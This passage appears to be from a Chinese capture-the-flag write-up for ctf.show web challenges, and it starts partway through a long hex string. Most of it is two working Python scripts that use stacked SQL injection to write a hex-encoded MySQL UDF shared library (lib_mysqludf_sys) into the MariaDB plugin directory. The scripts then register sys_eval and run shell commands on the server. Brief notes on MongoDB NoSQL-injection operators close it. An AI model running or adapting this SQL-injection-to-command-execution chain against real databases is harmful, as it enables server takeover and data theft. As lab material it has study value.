000000000000360A000000000000460A000000000000560A000000000000660A000000000000760A0000000000004743433A2028474E552920342E342E3720323031323033313320285265642048617420342E342E372D3429004743433A2028474E552920342E342E3720323031323033313320285265642048617420342E342E372D31372900002E73796D746162002E737472746162002E7368737472746162002E6E6F74652E676E752E6275696C642D6964002E676E752E68617368002E64796E73796D002E64796E737472002E676E752E76657273696F6E002E676E752E76657273696F6E5F72002E72656C612E64796E002E72656C612E706C74002E696E6974002E74657874002E66696E69002E726F64617461002E65685F6672616D655F686472002E65685F6672616D65002E63746F7273002E64746F7273002E6A6372002E646174612E72656C2E726F002E64796E616D6963002E676F74002E676F742E706C74002E627373002E636F6D6D656E7400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001B0000000700000002000000000000009001000000000000900100000000000024000000000000000000000000000000040000000000000000000000000000002E000000F6FFFF6F0200000000000000B801000000000000B801000000000000B400000000000000030000000000000008000000000000000000000000000000380000000B000000020000000000000070020000000000007002000000000000780300000000000004000000020000000800000000000000180000000000000040000000030000000200000000000000E805000000000000E8050000000000009D0100000000000000000000000000000100000000000000000000000000000048000000FFFFFF6F0200000000000000860700000000000086070000000000004A0000000000000003000000000000000200000000000000020000000000000055000000FEFFFF6F0200000000000000D007000000000000D007000000000000200000000000000004000000010000000800000000000000000000000000000064000000040000000200000000000000F007000000000000F00700000000000060000000000000000300000000000000080000000000000018000000000000006E000000040000000200000000000000500800000000000050080000000000003801000000000000030000000A000000080000000000000018000000000000007800000001000000060000000000000088090000000000008809000000000000180000000000000000000000000000000400000000000000000000000000000073000000010000000600000000000000A009000000000000A009000000000000E0000000000000000000000000000000040000000000000010000000000000007E000000010000000600000000000000800A000000000000800A000000000000C80600000000000000000000000000001000000000000000000000000000000084000000010000000600000000000000481100000000000048110000000000000E000000000000000000000000000000040000000000000000000000000000008A00000001000000020000000000000058110000000000005811000000000000EC0000000000000000000000000000000800000000000000000000000000000092000000010000000200000000000000441200000000000044120000000000008400000000000000000000000000000004000000000000000000000000000000A0000000010000000200000000000000C812000000000000C812000000000000FC01000000000000000000000000000008000000000000000000000000000000AA000000010000000300000000000000C814200000000000C8140000000000001000000000000000000000000000000008000000000000000000000000000000B1000000010000000300000000000000D814200000000000D8140000000000001000000000000000000000000000000008000000000000000000000000000000B8000000010000000300000000000000E814200000000000E8140000000000000800000000000000000000000000000008000000000000000000000000000000BD000000010000000300000000000000F014200000000000F0140000000000000800000000000000000000000000000008000000000000000000000000000000CA000000060000000300000000000000F814200000000000F8140000000000008001000000000000040000000000000008000000000000001000000000000000D3000000010000000300000000000000781620000000000078160000000000001800000000000000000000000000000008000000000000000800000000000000D8000000010000000300000000000000901620000000000090160000000000008000000000000000000000000000000008000000000000000800000000000000E1000000080000000300000000000000101720000000000010170000000000001000000000000000000000000000000008000000000000000000000000000000E60000000100000030000000000000000000000000000000101700000000000059000000000000000000000000000000010000000000000001000000000000001100000003000000000000000000000000000000000000006917000000000000EF00000000000000000000000000000001000000000000000000000000000000010000000200000000000000000000000000000000000000581F00000000000068070000000000001B0000002C00000008000000000000001800000000000000090000000300000000000000000000000000000000000000C02600000000000042030000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000003000100900100000000000000000000000000000000000003000200B80100000000000000000000000000000000000003000300700200000000000000000000000000000000000003000400E80500000000000000000000000000000000000003000500860700000000000000000000000000000000000003000600D00700000000000000000000000000000000000003000700F00700000000000000000000000000000000000003000800500800000000000000000000000000000000000003000900880900000000000000000000000000000000000003000A00A00900000000000000000000000000000000000003000B00800A00000000000000000000000000000000000003000C00481100000000000000000000000000000000000003000D00581100000000000000000000000000000000000003000E00441200000000000000000000000000000000000003000F00C81200000000000000000000000000000000000003001000C81420000000000000000000000000000000000003001100D81420000000000000000000000000000000000003001200E81420000000000000000000000000000000000003001300F01420000000000000000000000000000000000003001400F81420000000000000000000000000000000000003001500781620000000000000000000000000000000000003001600901620000000000000000000000000000000000003001700101720000000000000000000000000000000000003001800000000000000000000000000000000000100000002000B00800A0000000000000000000000000000110000000400F1FF000000000000000000000000000000001C00000001001000C81420000000000000000000000000002A00000001001100D81420000000000000000000000000003800000001001200E81420000000000000000000000000004500000002000B00A00A00000000000000000000000000005B00000001001700101720000000000001000000000000006A00000001001700181720000000000008000000000000007800000002000B00200B0000000000000000000000000000110000000400F1FF000000000000000000000000000000008400000001001000D01420000000000000000000000000009100000001000F00C01400000000000000000000000000009F00000001001200E8142000000000000000000000000000AB00000002000B0010110000000000000000000000000000C10000000400F1FF00000000000000000000000000000000D40000000100F1FF90162000000000000000000000000000EA00000001001300F0142000000000000000000000000000F700000001001100E0142000000000000000000000000000040100000100F1FFF81420000000000000000000000000000D01000012000B00D10D000000000000D1000000000000001501000012000B00130F0000000000002F000000000000001E01000020000000000000000000000000000000000000002D01000020000000000000000000000000000000000000004101000012000C00481100000000000000000000000000004701000012000B00A90F0000000000000A000000000000005701000012000000000000000000000000000000000000006B01000012000000000000000000000000000000000000007F01000012000B00A20E00000000000067000000000000008D01000012000B00B30F0000000000005501000000000000960100001200000000000000000000000000000000000000A901000012000B00950B0000000000000A00000000000000C601000012000B00B50C000000000000F100000000000000D30100001200000000000000000000000000000000000000E50100001200000000000000000000000000000000000000F901000012000000000000000000000000000000000000000D02000012000B004C0B00000000000049000000000000002802000022000000000000000000000000000000000000004402000012000B00A60D0000000000002B000000000000005302000012000B00EB0B0000000000005D000000000000006002000012000B00480C0000000000000A000000000000006F02000012000000000000000000000000000000000000008302000012000B00420F0000000000006700000000000000910200001200000000000000000000000000000000000000A50200001200000000000000000000000000000000000000B902000012000B00520C0000000000006300000000000000C10200001000F1FF10172000000000000000000000000000CD02000012000B009F0B0000000000004C00000000000000E30200001000F1FF20172000000000000000000000000000E80200001200000000000000000000000000000000000000FD02000012000B00090F0000000000000A000000000000000D0300001200000000000000000000000000000000000000220300001000F1FF101720000000000000000000000000002903000012000000000000000000000000000000000000003C03000012000900880900000000000000000000000000000063616C6C5F676D6F6E5F73746172740063727473747566662E63005F5F43544F525F4C4953545F5F005F5F44544F525F4C4953545F5F005F5F4A43525F4C4953545F5F005F5F646F5F676C6F62616C5F64746F72735F61757800636F6D706C657465642E363335320064746F725F6964782E36333534006672616D655F64756D6D79005F5F43544F525F454E445F5F005F5F4652414D455F454E445F5F005F5F4A43525F454E445F5F005F5F646F5F676C6F62616C5F63746F72735F617578006C69625F6D7973716C7564665F7379732E63005F474C4F42414C5F4F46465345545F5441424C455F005F5F64736F5F68616E646C65005F5F44544F525F454E445F5F005F44594E414D4943007379735F736574007379735F65786563005F5F676D6F6E5F73746172745F5F005F4A765F5265676973746572436C6173736573005F66696E69007379735F6576616C5F6465696E6974006D616C6C6F634040474C4942435F322E322E350073797374656D4040474C4942435F322E322E35007379735F657865635F696E6974007379735F6576616C0066676574734040474C4942435F322E322E35006C69625F6D7973716C7564665F7379735F696E666F5F6465696E6974007379735F7365745F696E697400667265654040474C4942435F322E322E35007374726C656E4040474C4942435F322E322E350070636C6F73654040474C4942435F322E322E35006C69625F6D7973716C7564665F7379735F696E666F5F696E6974005F5F6378615F66696E616C697A654040474C4942435F322E322E35007379735F7365745F6465696E6974007379735F6765745F696E6974007379735F6765745F6465696E6974006D656D6370794040474C4942435F322E322E35007379735F6576616C5F696E697400736574656E764040474C4942435F322E322E3500676574656E764040474C4942435F322E322E35007379735F676574005F5F6273735F7374617274006C69625F6D7973716C7564665F7379735F696E666F005F656E64007374726E6370794040474C4942435F322E322E35007379735F657865635F6465696E6974007265616C6C6F634040474C4942435F322E322E35005F656461746100706F70656E4040474C4942435F322E322E35005F696E697400'
codes=[]
for i in range(0,len(code),128):
    codes.append(code[i:min(i+128,len(code))])
 
#建临时表
sql='''create table temp(data longblob)'''
payload='''0';{};-- A'''.format(sql)
requests.get(url+payload)
 
#清空临时表
sql='''delete from temp'''
payload='''0';{};-- A'''.format(sql)
requests.get(url+payload)
 
#插入第一段数据
sql='''insert into temp(data) values (0x{})'''.format(codes[0])
payload='''0';{};-- A'''.format(sql)
requests.get(url+payload)
 
#更新连接剩余数据
for k in range(1,len(codes)):
    sql='''update temp set data = concat(data,0x{})'''.format(codes[k])
    payload='''0';{};-- A'''.format(sql)
    requests.get(url+payload)
 
#10.3.18-MariaDB    
#写入so文件
sql='''select data from temp into dumpfile '/usr/lib/mariadb/plugin/udf.so\''''
payload='''0';{};-- A'''.format(sql)
requests.get(url+payload)
 
#引入自定义函数
sql='''create function sys_eval returns string soname 'udf.so\''''
payload='''0';{};-- A'''.format(sql)
requests.get(url+payload)
 
#命令执行,结果更新到界面
sql='''update ctfshow_user set pass=(select sys_eval('cat /flag.her?'))'''
payload='''0';{};-- A'''.format(sql)
requests.get(url+payload)
 
#查看结果
r=requests.get(url[:-4]+'?page=1&limit=10')
print(r.text)

参考另外一篇文章 https://www.xl-bit.cn/93.html
mysql的UAF注入,简单来说就是把dll文件写到目标机子的plugin目录,这个目录是可以通过select @@plugin_dir来得到的。此外就是这题可以堆叠注入

CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.so'; //导入udf函数
import requests

base_url="http://8df48e3a-006f-4c37-b9d9-efbb9927edf2.challenge.ctf.show:8080/api/"
payload = []
text = ["a", "b", "c", "d", "e"]
udf = "7F454C4602010100000000000000000003003E0001000000800A000000000000400000000000000058180000000000000000000040003800060040001C0019000100000005000000000000000000000000000000000000000000000000000000C414000000000000C41400000000000000002000000000000100000006000000C814000000000000C814200000000000C8142000000000004802000000000000580200000000000000002000000000000200000006000000F814000000000000F814200000000000F814200000000000800100000000000080010000000000000800000000000000040000000400000090010000000000009001000000000000900100000000000024000000000000002400000000000000040000000000000050E574640400000044120000000000004412000000000000441200000000000084000000000000008400000000000000040000000000000051E5746406000000000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000040000001400000003000000474E5500D7FF1D94176ABA0C150B4F3694D2EC995AE8E1A8000000001100000011000000020000000700000080080248811944C91CA44003980468831100000013000000140000001600000017000000190000001C0000001E000000000000001F00000000000000200000002100000022000000230000002400000000000000CE2CC0BA673C7690EBD3EF0E78722788B98DF10ED971581CA868BE12BBE3927C7E8B92CD1E7066A9C3F9BFBA745BB073371974EC4345D5ECC5A62C1CC3138AFF3B9FD4A0AD73D1C50B5911FEAB5FBE1200000000000000000000000000000000000000000000000000000000000000000300090088090000000000000000000000000000010000002000000000000000000000000000000000000000250000002000000000000000000000000000000000000000CD00000012000000000000000000000000000000000000001E0100001200000000000000000000000000000000000000620100001200000000000000000000000000000000000000E30000001200000000000000000000000000000000000000B90000001200000000000000000000000000000000000000680100001200000000000000000000000000000000000000160000002200000000000000000000000000000000000000540000001200000000000000000000000000000000000000F00000001200000000000000000000000000000000000000B200000012000000000000000000000000000000000000005A01000012000000000000000000000000000000000000005201000012000000000000000000000000000000000000004C0100001200000000000000000000000000000000000000E800000012000B00D10D000000000000D1000000000000003301000012000B00A90F0000000000000A000000000000001000000012000C00481100000000000000000000000000007800000012000B009F0B0000000000004C00000000000000FF0000001200090088090000000000000000000000000000800100001000F1FF101720000000000000000000000000001501000012000B00130F0000000000002F000000000000008C0100001000F1FF201720000000000000000000000000009B00000012000B00480C0000000000000A000000000000002501000012000B00420F0000000000006700000000000000AA00000012000B00520C00000000000063000000000000005B00000012000B00950B0000000000000A000000000000008E00000012000B00EB0B0000000000005D00000000000000790100001000F1FF101720000000000000000000000000000501000012000B00090F0000000000000A00000000000000C000000012000B00B50C000000000000F100000000000000F700000012000B00A20E00000000000067000000000000003900000012000B004C0B0000000000004900000000000000D400000012000B00A60D0000000000002B000000000000004301000012000B00B30F0000000000005501000000000000005F5F676D6F6E5F73746172745F5F005F66696E69005F5F6378615F66696E616C697A65005F4A765F5265676973746572436C6173736573006C69625F6D7973716C7564665F7379735F696E666F5F696E6974006D656D637079006C69625F6D7973716C7564665F7379735F696E666F5F6465696E6974006C69625F6D7973716C7564665F7379735F696E666F007379735F6765745F696E6974007379735F6765745F6465696E6974007379735F67657400676574656E76007374726C656E007379735F7365745F696E6974006D616C6C6F63007379735F7365745F6465696E69740066726565007379735F73657400736574656E76007379735F657865635F696E6974007379735F657865635F6465696E6974007379735F657865630073797374656D007379735F6576616C5F696E6974007379735F6576616C5F6465696E6974007379735F6576616C00706F70656E007265616C6C6F63007374726E6370790066676574730070636C6F7365006C6962632E736F2E36005F6564617461005F5F6273735F7374617274005F656E6400474C4942435F322E322E3500000000000000000000020002000200020002000200020002000200020002000200020001000100010001000100010001000100010001000100010001000100010001000100010001000100010001006F0100001000000000000000751A6909000002009101000000000000F0142000000000000800000000000000F0142000000000007816200000000000060000000200000000000000000000008016200000000000060000000300000000000000000000008816200000000000060000000A0000000000000000000000A81620000000000007000000040000000000000000000000B01620000000000007000000050000000000000000000000B81620000000000007000000060000000000000000000000C01620000000000007000000070000000000000000000000C81620000000000007000000080000000000000000000000D01620000000000007000000090000000000000000000000D816200000000000070000000A0000000000000000000000E016200000000000070000000B0000000000000000000000E816200000000000070000000C0000000000000000000000F016200000000000070000000D0000000000000000000000F816200000000000070000000E00000000000000000000000017200000000000070000000F00000000000000000000000817200000000000070000001000000000000000000000004883EC08E8EF000000E88A010000E8750700004883C408C3FF35F20C2000FF25F40C20000F1F4000FF25F20C20006800000000E9E0FFFFFFFF25EA0C20006801000000E9D0FFFFFFFF25E20C20006802000000E9C0FFFFFFFF25DA0C20006803000000E9B0FFFFFFFF25D20C20006804000000E9A0FFFFFFFF25CA0C20006805000000E990FFFFFFFF25C20C20006806000000E980FFFFFFFF25BA0C20006807000000E970FFFFFFFF25B20C20006808000000E960FFFFFFFF25AA0C20006809000000E950FFFFFFFF25A20C2000680A000000E940FFFFFFFF259A0C2000680B000000E930FFFFFFFF25920C2000680C000000E920FFFFFF4883EC08488B05ED0B20004885C07402FFD04883C408C390909090909090909055803D680C2000004889E5415453756248833DD00B200000740C488D3D2F0A2000E84AFFFFFF488D1D130A20004C8D25040A2000488B053D0C20004C29E348C1FB034883EB014839D873200F1F4400004883C0014889051D0C200041FF14C4488B05120C20004839D872E5C605FE0B2000015B415CC9C3660F1F84000000000048833DC009200000554889E5741A488B054B0B20004885C0740E488D3DA7092000C9FFE00F1F4000C9C39090554889E54883EC3048897DE8488975E0488955D8488B45E08B0085C07421488D0DE7050000488B45D8BA320000004889CE4889C7E89BFEFFFFC645FF01EB04C645FF000FB645FFC9C3554889E548897DF8C9C3554889E54883EC3048897DF8488975F0488955E848894DE04C8945D84C894DD0488D0DCA050000488B45E8BA1F0000004889CE4889C7E846FEFFFF488B45E048C7001E000000488B45E8C9C3554889E54883EC2048897DF8488975F0488955E8488B45F08B0083F801751C488B45F0488B40088B0085C0750E488B45F8C60001B800000000EB20488D0D83050000488B45E8BA2B0000004889CE4889C7E8DFFDFFFFB801000000C9C3554889E548897DF8C9C3554889E54883EC4048897DE8488975E0488955D848894DD04C8945C84C894DC0488B45E0488B4010488B004889C7E8BBFDFFFF488945F848837DF8007509488B45C8C60001EB16488B45F84889C7E84BFDFFFF4889C2488B45D0488910488B45F8C9C3554889E54883EC2048897DF8488975F0488955E8488B45F08B0083F8027425488D0D05050000488B45E8BA1F0000004889CE4889C7E831FDFFFFB801000000E9AB000000488B45F0488B40088B0085C07422488D0DF2040000488B45E8BA280000004889CE4889C7E8FEFCFFFFB801000000EB7B488B45F0488B40084883C004C70000000000488B45F0488B4018488B10488B45F0488B40184883C008488B00488D04024883C0024889C7E84BFCFFFF4889C2488B45F848895010488B45F8488B40104885C07522488D0DA4040000488B45E8BA1A0000004889CE4889C7E888FCFFFFB801000000EB05B800000000C9C3554889E54883EC1048897DF8488B45F8488B40104885C07410488B45F8488B40104889C7E811FCFFFFC9C3554889E54883EC3048897DE8488975E0488955D848894DD0488B45E8488B4010488945F0488B45E0488B4018488B004883C001480345F0488945F8488B45E0488B4018488B10488B45E0488B4010488B08488B45F04889CE4889C7E8EFFBFFFF488B45E0488B4018488B00480345F0C60000488B45E0488B40184883C008488B10488B45E0488B40104883C008488B08488B45F84889CE4889C7E8B0FBFFFF488B45E0488B40184883C008488B00480345F8C60000488B4DF8488B45F0BA010000004889CE4889C7E892FBFFFF4898C9C3554889E54883EC3048897DE8488975E0488955D8C745FC00000000488B45E08B0083F801751F488B45E0488B40088B55FC48C1E2024801D08B0085C07507B800000000EB20488D0DC2020000488B45D8BA2B0000004889CE4889C7E81EFBFFFFB801000000C9C3554889E548897DF8C9C3554889E54883EC2048897DF8488975F0488955E848894DE0488B45F0488B4010488B004889C7E882FAFFFF4898C9C3554889E54883EC3048897DE8488975E0488955D8C745FC00000000488B45E08B0083F801751F488B45E0488B40088B55FC48C1E2024801D08B0085C07507B800000000EB20488D0D22020000488B45D8BA2B0000004889CE4889C7E87EFAFFFFB801000000C9C3554889E548897DF8C9C3554889E54881EC500400004889BDD8FBFFFF4889B5D0FBFFFF488995C8FBFFFF48898DC0FBFFFF4C8985B8FBFFFF4C898DB0FBFFFFBF01000000E8BEF9FFFF488985C8FBFFFF48C745F000000000488B85D0FBFFFF488B4010488B00488D352C0200004889C7E852FAFFFF488945E8EB63488D85E0FBFFFF4889C7E8BDF9FFFF488945F8488B45F8488B55F04801C2488B85C8FBFFFF4889D64889C7E80CFAFFFF488985C8FBFFFF488D85E0FBFFFF488B55F0488B8DC8FBFFFF4801D1488B55F84889C64889CFE8D1F9FFFF488B45F8480145F0488B55E8488D85E0FBFFFFBE000400004889C7E831F9FFFF4885C07580488B45E84889C7E850F9FFFF488B85C8FBFFFF0FB60084C0740A4883BDC8FBFFFF00750C488B85B8FBFFFFC60001EB2B488B45F0488B95C8FBFFFF488D0402C60000488B85C8FBFFFF4889C7E8FBF8FFFF488B95C0FBFFFF488902488B85C8FBFFFFC9C39090909090909090554889E5534883EC08488B05A80320004883F8FF7419488D1D9B0320000F1F004883EB08FFD0488B034883F8FF75F14883C4085BC9C390904883EC08E84FF9FFFF4883C408C300004E6F20617267756D656E747320616C6C6F77656420287564663A206C69625F6D7973716C7564665F7379735F696E666F29000000000000006C69625F6D7973716C7564665F7379732076657273696F6E20302E302E33000045787065637465642065786163746C79206F6E6520737472696E67207479706520706172616D6574657200000000000045787065637465642065786163746C792074776F20617267756D656E74730000457870656374656420737472696E67207479706520666F72206E616D6520706172616D6574657200436F756C64206E6F7420616C6C6F63617465206D656D6F7279007200011B033B800000000F00000008F9FFFF9C00000051F9FFFFBC0000005BF9FFFFDC000000A7F9FFFFFC00000004FAFFFF1C0100000EFAFFFF3C01000071FAFFFF5C01000062FBFFFF7C0100008DFBFFFF9C0100005EFCFFFFBC010000C5FCFFFFDC010000CFFCFFFFFC010000FEFCFFFF1C02000065FDFFFF3C0200006FFDFFFF5C0200001400000000000000017A5200017810011B0C0708900100001C0000001C00000064F8FFFF4900000000410E108602430D0602440C070800001C0000003C0000008DF8FFFF0A00000000410E108602430D06450C07080000001C0000005C00000077F8FFFF4C00000000410E108602430D0602470C070800001C0000007C000000A3F8FFFF5D00000000410E108602430D0602580C070800001C0000009C000000E0F8FFFF0A00000000410E108602430D06450C07080000001C000000BC000000CAF8FFFF6300000000410E108602430D06025E0C070800001C000000DC0000000DF9FFFFF100000000410E108602430D0602EC0C070800001C000000FC000000DEF9FFFF2B00000000410E108602430D06660C07080000001C0000001C010000E9F9FFFFD100000000410E108602430D0602CC0C070800001C0000003C0100009AFAFFFF6700000000410E108602430D0602620C070800001C0000005C010000E1FAFFFF0A00000000410E108602430D06450C07080000001C0000007C010000CBFAFFFF2F00000000410E108602430D066A0C07080000001C0000009C010000DAFAFFFF6700000000410E108602430D0602620C070800001C000000BC01000021FBFFFF0A00000000410E108602430D06450C07080000001C000000DC0100000BFBFFFF5501000000410E108602430D060350010C0708000000000000000000FFFFFFFFFFFFFFFF0000000000000000FFFFFFFFFFFFFFFF00000000000000000000000000000000F01420000000000001000000000000006F010000000000000C0000000000000088090000000000000D000000000000004811000000000000F5FEFF6F00000000B8010000000000000500000000000000E805000000000000060000000000000070020000000000000A000000000000009D010000000000000B000000000000001800000000000000030000000000000090162000000000000200000000000000380100000000000014000000000000000700000000000000170000000000000050080000000000000700000000000000F0070000000000000800000000000000600000000000000009000000000000001800000000000000FEFFFF6F00000000D007000000000000FFFFFF6F000000000100000000000000F0FFFF6F000000008607000000000000F9FFFF6F0000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000F81420000000000000000000000000000000000000000000B609000000000000C609000000000000D609000000000000E609000000000000F609000000000000060A000000000000160A000000000000260A000000000000360A000000000000460A000000000000560A000000000000660A000000000000760A0000000000004743433A2028474E552920342E342E3720323031323033313320285265642048617420342E342E372D3429004743433A2028474E552920342E342E3720323031323033313320285265642048617420342E342E372D31372900002E73796D746162002E737472746162002E7368737472746162002E6E6F74652E676E752E6275696C642D6964002E676E752E68617368002E64796E73796D002E64796E737472002E676E752E76657273696F6E002E676E752E76657273696F6E5F72002E72656C612E64796E002E72656C612E706C74002E696E6974002E74657874002E66696E69002E726F64617461002E65685F6672616D655F686472002E65685F6672616D65002E63746F7273002E64746F7273002E6A6372002E646174612E72656C2E726F002E64796E616D6963002E676F74002E676F742E706C74002E627373002E636F6D6D656E7400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001B0000000700000002000000000000009001000000000000900100000000000024000000000000000000000000000000040000000000000000000000000000002E000000F6FFFF6F0200000000000000B801000000000000B801000000000000B400000000000000030000000000000008000000000000000000000000000000380000000B000000020000000000000070020000000000007002000000000000780300000000000004000000020000000800000000000000180000000000000040000000030000000200000000000000E805000000000000E8050000000000009D0100000000000000000000000000000100000000000000000000000000000048000000FFFFFF6F0200000000000000860700000000000086070000000000004A0000000000000003000000000000000200000000000000020000000000000055000000FEFFFF6F0200000000000000D007000000000000D007000000000000200000000000000004000000010000000800000000000000000000000000000064000000040000000200000000000000F007000000000000F00700000000000060000000000000000300000000000000080000000000000018000000000000006E000000040000000200000000000000500800000000000050080000000000003801000000000000030000000A000000080000000000000018000000000000007800000001000000060000000000000088090000000000008809000000000000180000000000000000000000000000000400000000000000000000000000000073000000010000000600000000000000A009000000000000A009000000000000E0000000000000000000000000000000040000000000000010000000000000007E000000010000000600000000000000800A000000000000800A000000000000C80600000000000000000000000000001000000000000000000000000000000084000000010000000600000000000000481100000000000048110000000000000E000000000000000000000000000000040000000000000000000000000000008A00000001000000020000000000000058110000000000005811000000000000EC0000000000000000000000000000000800000000000000000000000000000092000000010000000200000000000000441200000000000044120000000000008400000000000000000000000000000004000000000000000000000000000000A0000000010000000200000000000000C812000000000000C812000000000000FC01000000000000000000000000000008000000000000000000000000000000AA000000010000000300000000000000C814200000000000C8140000000000001000000000000000000000000000000008000000000000000000000000000000B1000000010000000300000000000000D814200000000000D8140000000000001000000000000000000000000000000008000000000000000000000000000000B8000000010000000300000000000000E814200000000000E8140000000000000800000000000000000000000000000008000000000000000000000000000000BD000000010000000300000000000000F014200000000000F0140000000000000800000000000000000000000000000008000000000000000000000000000000CA000000060000000300000000000000F814200000000000F8140000000000008001000000000000040000000000000008000000000000001000000000000000D3000000010000000300000000000000781620000000000078160000000000001800000000000000000000000000000008000000000000000800000000000000D8000000010000000300000000000000901620000000000090160000000000008000000000000000000000000000000008000000000000000800000000000000E1000000080000000300000000000000101720000000000010170000000000001000000000000000000000000000000008000000000000000000000000000000E60000000100000030000000000000000000000000000000101700000000000059000000000000000000000000000000010000000000000001000000000000001100000003000000000000000000000000000000000000006917000000000000EF00000000000000000000000000000001000000000000000000000000000000010000000200000000000000000000000000000000000000581F00000000000068070000000000001B0000002C00000008000000000000001800000000000000090000000300000000000000000000000000000000000000C02600000000000042030000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000003000100900100000000000000000000000000000000000003000200B80100000000000000000000000000000000000003000300700200000000000000000000000000000000000003000400E80500000000000000000000000000000000000003000500860700000000000000000000000000000000000003000600D00700000000000000000000000000000000000003000700F00700000000000000000000000000000000000003000800500800000000000000000000000000000000000003000900880900000000000000000000000000000000000003000A00A00900000000000000000000000000000000000003000B00800A00000000000000000000000000000000000003000C00481100000000000000000000000000000000000003000D00581100000000000000000000000000000000000003000E00441200000000000000000000000000000000000003000F00C81200000000000000000000000000000000000003001000C81420000000000000000000000000000000000003001100D81420000000000000000000000000000000000003001200E81420000000000000000000000000000000000003001300F01420000000000000000000000000000000000003001400F81420000000000000000000000000000000000003001500781620000000000000000000000000000000000003001600901620000000000000000000000000000000000003001700101720000000000000000000000000000000000003001800000000000000000000000000000000000100000002000B00800A0000000000000000000000000000110000000400F1FF000000000000000000000000000000001C00000001001000C81420000000000000000000000000002A00000001001100D81420000000000000000000000000003800000001001200E81420000000000000000000000000004500000002000B00A00A00000000000000000000000000005B00000001001700101720000000000001000000000000006A00000001001700181720000000000008000000000000007800000002000B00200B0000000000000000000000000000110000000400F1FF000000000000000000000000000000008400000001001000D01420000000000000000000000000009100000001000F00C01400000000000000000000000000009F00000001001200E8142000000000000000000000000000AB00000002000B0010110000000000000000000000000000C10000000400F1FF00000000000000000000000000000000D40000000100F1FF90162000000000000000000000000000EA00000001001300F0142000000000000000000000000000F700000001001100E0142000000000000000000000000000040100000100F1FFF81420000000000000000000000000000D01000012000B00D10D000000000000D1000000000000001501000012000B00130F0000000000002F000000000000001E01000020000000000000000000000000000000000000002D01000020000000000000000000000000000000000000004101000012000C00481100000000000000000000000000004701000012000B00A90F0000000000000A000000000000005701000012000000000000000000000000000000000000006B01000012000000000000000000000000000000000000007F01000012000B00A20E00000000000067000000000000008D01000012000B00B30F0000000000005501000000000000960100001200000000000000000000000000000000000000A901000012000B00950B0000000000000A00000000000000C601000012000B00B50C000000000000F100000000000000D30100001200000000000000000000000000000000000000E50100001200000000000000000000000000000000000000F901000012000000000000000000000000000000000000000D02000012000B004C0B00000000000049000000000000002802000022000000000000000000000000000000000000004402000012000B00A60D0000000000002B000000000000005302000012000B00EB0B0000000000005D000000000000006002000012000B00480C0000000000000A000000000000006F02000012000000000000000000000000000000000000008302000012000B00420F0000000000006700000000000000910200001200000000000000000000000000000000000000A50200001200000000000000000000000000000000000000B902000012000B00520C0000000000006300000000000000C10200001000F1FF10172000000000000000000000000000CD02000012000B009F0B0000000000004C00000000000000E30200001000F1FF20172000000000000000000000000000E80200001200000000000000000000000000000000000000FD02000012000B00090F0000000000000A000000000000000D0300001200000000000000000000000000000000000000220300001000F1FF101720000000000000000000000000002903000012000000000000000000000000000000000000003C03000012000900880900000000000000000000000000000063616C6C5F676D6F6E5F73746172740063727473747566662E63005F5F43544F525F4C4953545F5F005F5F44544F525F4C4953545F5F005F5F4A43525F4C4953545F5F005F5F646F5F676C6F62616C5F64746F72735F61757800636F6D706C657465642E363335320064746F725F6964782E36333534006672616D655F64756D6D79005F5F43544F525F454E445F5F005F5F4652414D455F454E445F5F005F5F4A43525F454E445F5F005F5F646F5F676C6F62616C5F63746F72735F617578006C69625F6D7973716C7564665F7379732E63005F474C4F42414C5F4F46465345545F5441424C455F005F5F64736F5F68616E646C65005F5F44544F525F454E445F5F005F44594E414D4943007379735F736574007379735F65786563005F5F676D6F6E5F73746172745F5F005F4A765F5265676973746572436C6173736573005F66696E69007379735F6576616C5F6465696E6974006D616C6C6F634040474C4942435F322E322E350073797374656D4040474C4942435F322E322E35007379735F657865635F696E6974007379735F6576616C0066676574734040474C4942435F322E322E35006C69625F6D7973716C7564665F7379735F696E666F5F6465696E6974007379735F7365745F696E697400667265654040474C4942435F322E322E35007374726C656E4040474C4942435F322E322E350070636C6F73654040474C4942435F322E322E35006C69625F6D7973716C7564665F7379735F696E666F5F696E6974005F5F6378615F66696E616C697A654040474C4942435F322E322E35007379735F7365745F6465696E6974007379735F6765745F696E6974007379735F6765745F6465696E6974006D656D6370794040474C4942435F322E322E35007379735F6576616C5F696E697400736574656E764040474C4942435F322E322E3500676574656E764040474C4942435F322E322E35007379735F676574005F5F6273735F7374617274006C69625F6D7973716C7564665F7379735F696E666F005F656E64007374726E6370794040474C4942435F322E322E35007379735F657865635F6465696E6974007265616C6C6F634040474C4942435F322E322E35005F656461746100706F70656E4040474C4942435F322E322E35005F696E697400"
for i in range(0,21510, 5000):
    end = i + 5000
    payload.append(udf[i:end])

p = dict(zip(text, payload))

for t in text:
    url = base_url+"?id=';select unhex('{}') into dumpfile '/usr/lib/mariadb/plugin/{}.txt'--+&page=1&limit=10".format(p[t], t)
    r = requests.get(url)
    print(r.status_code)

next_url = base_url+"?id=';select concat(load_file('/usr/lib/mariadb/plugin/a.txt'),load_file('/usr/lib/mariadb/plugin/b.txt'),load_file('/usr/lib/mariadb/plugin/c.txt'),load_file('/usr/lib/mariadb/plugin/d.txt'),load_file('/usr/lib/mariadb/plugin/e.txt')) into dumpfile '/usr/lib/mariadb/plugin/udf.so'--+&page=1&limit=10"
rn = requests.get(next_url)

uaf_url=base_url+"?id=';CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.so';--+"#导入udf函数
r=requests.get(uaf_url)
nn_url = base_url+"?id=';select sys_eval('cat /flag.*');--+&page=1&limit=10"
rnn = requests.get(nn_url)
print(rnn.text)

web249

MongoDB
nosql注入
https://www.anquanke.com/post/id/97211
http://rui0.cn/archives/609
https://www.xl-bit.cn/93.html
nosql相关

$gt : >
$lt : <
$gte: >=
$lte: <=
$ne : !=、<>
$in : in
$nin: not in
$all: all 
$or:or
$not: 反匹配(1.3.3及以上版本)
模糊查询用正则式:db.customer.find({'name': {'$regex':'.*s.*'} })
/**
* : 范围查询 { "age" : { "$gte" : 2 , "$lte" : 21}}
* : $ne { "age" : { "$ne" : 23}}
* : $lt { "age" : { "$lt" : 23}}
*/

